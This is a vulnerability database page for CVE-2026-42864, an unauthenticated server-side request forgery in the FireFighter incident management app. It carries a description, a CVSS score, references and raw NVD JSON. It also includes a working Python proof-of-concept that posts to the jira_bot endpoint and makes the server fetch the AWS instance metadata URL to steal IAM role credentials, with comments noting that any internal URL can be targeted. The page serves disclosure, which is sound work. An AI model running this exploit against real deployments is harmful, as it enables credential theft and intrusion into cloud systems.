CVE-2026-42864

Description

FireFighter is an incident management application. Prior to 0.0.54, the POST /api/v2/firefighter/raid/jira_bot endpoint (CreateJiraBotView) is reachable without authentication (permission_classes = [permissions.AllowAny]). Its attachments payload is fetched server-side via httpx.get() with no URL validation, then uploaded as an attachment on the Jira ticket that gets created. An unauthenticated caller able to reach the ingress can coerce the pod into fetching arbitrary URLs and exfiltrate the response as a Jira attachment. On EC2/EKS deployments that do not enforce IMDSv2, this allows theft of the temporary AWS credentials attached to the pod's IAM role. The docstring on the view claims a Bearer token is required, but the code does not enforce it. This vulnerability is fixed in 0.0.54.

CVSS Details

CVSS Score

9.9

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L

Configurations (Affected Products)

No configuration data available.

FireFighter < 0.0.54

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_ssrf(target_url, malicious_url):
    """
    PoC for CVE-2026-42864: Unauthenticated SSRF in FireFighter.
    This script sends a malicious payload to the vulnerable endpoint,
    forcing the server to fetch the specified URL.
    """
    endpoint = f"{target_url}/api/v2/firefighter/raid/jira_bot"
    
    # Payload targeting AWS Instance Metadata Service (IMDSv1)
    # Attacker can change this to any internal URL they want to scan
    payload = {
        "attachments": [
            {
                "url": malicious_url
            }
        ]
    }

    try:
        print(f"[*] Sending request to {endpoint}...")
        response = requests.post(endpoint, json=payload, timeout=10)
        
        if response.status_code == 200:
            print("[+] Request successful. Server likely fetched the URL.")
            print("[+] Check the Jira attachment or response body for exfiltrated data.")
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
            print(response.text)
            
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    target = "http://firefighter-instance.com"
    # Example: Stealing AWS IAM credentials
    ssrf_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
    exploit_ssrf(target, ssrf_url)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42864
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42864
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42864/
[4] VulDB https://vuldb.com/cve/CVE-2026-42864
[5] https://github.com/ManoManoTech/firefighter-incident/security/advisories/GHSA-fqvv-jvhr-g5jc

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42864", "sourceIdentifier": "[email protected]", "published": "2026-05-11T19:16:24.417", "lastModified": "2026-05-11T19:16:24.417", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "FireFighter is an incident management application. Prior to 0.0.54, the POST /api/v2/firefighter/raid/jira_bot endpoint (CreateJiraBotView) is reachable without authentication (permission_classes = [permissions.AllowAny]). Its attachments payload is fetched server-side via httpx.get() with no URL validation, then uploaded as an attachment on the Jira ticket that gets created. An unauthenticated caller able to reach the ingress can coerce the pod into fetching arbitrary URLs and exfiltrate the response as a Jira attachment. On EC2/EKS deployments that do not enforce IMDSv2, this allows theft of the temporary AWS credentials attached to the pod's IAM role. The docstring on the view claims a Bearer token is required, but the code does not enforce it. This vulnerability is fixed in 0.0.54."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 5.3}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}, {"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/ManoManoTech/firefighter-incident/security/advisories/GHSA-fqvv-jvhr-g5jc", "source": "[email protected]"}]}}